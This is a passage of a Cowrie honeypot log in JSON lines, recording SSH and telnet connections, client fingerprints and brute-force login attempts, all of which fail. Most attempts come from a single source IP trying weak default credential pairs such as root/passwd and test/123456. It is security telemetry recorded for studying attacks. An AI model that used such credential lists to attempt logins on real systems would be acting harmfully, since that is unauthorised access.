{"eventid":"cowrie.session.closed","duration":33.624245166778564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:09.014410Z","src_ip":"69.4.83.194","session":"f9ecbaa128e0","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:09.165619Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:09.171526Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59868,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aaa3eda4185","protocol":"ssh","message":"New connection: 95.38.165.118:59868 (10.17.0.5:22) [session: 9aaa3eda4185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:09.302790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:09.390208Z","src_ip":"95.38.165.118","session":"9aaa3eda4185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:09.561986Z","src_ip":"95.38.165.118","session":"9aaa3eda4185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:10.136485Z","src_ip":"95.38.165.118","session":"9aaa3eda4185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:12.117775Z","src_ip":"95.38.165.118","session":"9aaa3eda4185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7563eeaa8e4","protocol":"telnet","message":"New connection: 178.128.93.180:46214 (10.17.0.5:23) [session: f7563eeaa8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:13.218878Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46810,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd6d1c4beb96","protocol":"telnet","message":"New connection: 178.128.93.180:46810 (10.17.0.5:23) [session: dd6d1c4beb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:14.239420Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59872,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e909005c7a2","protocol":"ssh","message":"New connection: 95.38.165.118:59872 (10.17.0.5:22) [session: 0e909005c7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:14.697635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:14.703403Z","src_ip":"95.38.165.118","session":"0e909005c7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:14.875800Z","src_ip":"95.38.165.118","session":"0e909005c7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:15.406528Z","src_ip":"95.38.165.118","session":"0e909005c7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:16.576617Z","src_ip":"95.38.165.118","session":"0e909005c7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.052855014801025,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:18.131725Z","src_ip":"69.4.83.194","session":"5bd2a5f06f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba4fd914934a","protocol":"ssh","message":"New connection: 95.38.165.118:58504 (10.17.0.5:22) [session: ba4fd914934a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:19.707892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:19.718248Z","src_ip":"95.38.165.118","session":"ba4fd914934a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:19.877967Z","src_ip":"95.38.165.118","session":"ba4fd914934a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:22.628468Z","src_ip":"95.38.165.118","session":"ba4fd914934a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:23.807987Z","src_ip":"95.38.165.118","session":"ba4fd914934a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58528,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e14b9f6de5","protocol":"ssh","message":"New connection: 95.38.165.118:58528 (10.17.0.5:22) [session: 25e14b9f6de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:25.226916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:25.284093Z","src_ip":"95.38.165.118","session":"25e14b9f6de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:25.399440Z","src_ip":"95.38.165.118","session":"25e14b9f6de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:27.745410Z","src_ip":"95.38.165.118","session":"25e14b9f6de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:29.153015Z","src_ip":"95.38.165.118","session":"25e14b9f6de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47200,"dst_ip":"10.17.0.5","dst_port":22,"session":"077a3a2ca8b3","protocol":"ssh","message":"New connection: 95.38.165.118:47200 (10.17.0.5:22) [session: 077a3a2ca8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:30.678335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:30.684402Z","src_ip":"95.38.165.118","session":"077a3a2ca8b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:31.440576Z","src_ip":"95.38.165.118","session":"077a3a2ca8b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.94204449653625,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:31.467591Z","src_ip":"178.128.93.180","session":"bebfd40c7ace","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:31.959708Z","src_ip":"95.38.165.118","session":"077a3a2ca8b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:33.133146Z","src_ip":"95.38.165.118","session":"077a3a2ca8b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47208,"dst_ip":"10.17.0.5","dst_port":22,"session":"aadd15e1b97d","protocol":"ssh","message":"New connection: 95.38.165.118:47208 (10.17.0.5:22) [session: aadd15e1b97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:35.610135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:35.614994Z","src_ip":"95.38.165.118","session":"aadd15e1b97d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58732,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1537a6fb699","protocol":"telnet","message":"New connection: 69.4.83.194:58732 (159.203.135.109:23) [session: d1537a6fb699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:36.017119Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:36.467899Z","src_ip":"95.38.165.118","session":"aadd15e1b97d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:38.534812Z","src_ip":"95.38.165.118","session":"aadd15e1b97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:39.997826Z","src_ip":"95.38.165.118","session":"aadd15e1b97d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52956,"dst_ip":"10.17.0.5","dst_port":22,"session":"157ba1fd3b31","protocol":"ssh","message":"New connection: 95.38.165.118:52956 (10.17.0.5:22) [session: 157ba1fd3b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:40.792748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:40.827137Z","src_ip":"95.38.165.118","session":"157ba1fd3b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:40.973996Z","src_ip":"95.38.165.118","session":"157ba1fd3b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:43.326854Z","src_ip":"95.38.165.118","session":"157ba1fd3b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:44.588424Z","src_ip":"95.38.165.118","session":"157ba1fd3b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39954,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4715a44aeb","protocol":"ssh","message":"New connection: 95.38.165.118:39954 (10.17.0.5:22) [session: 7f4715a44aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:45.825477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:45.831086Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa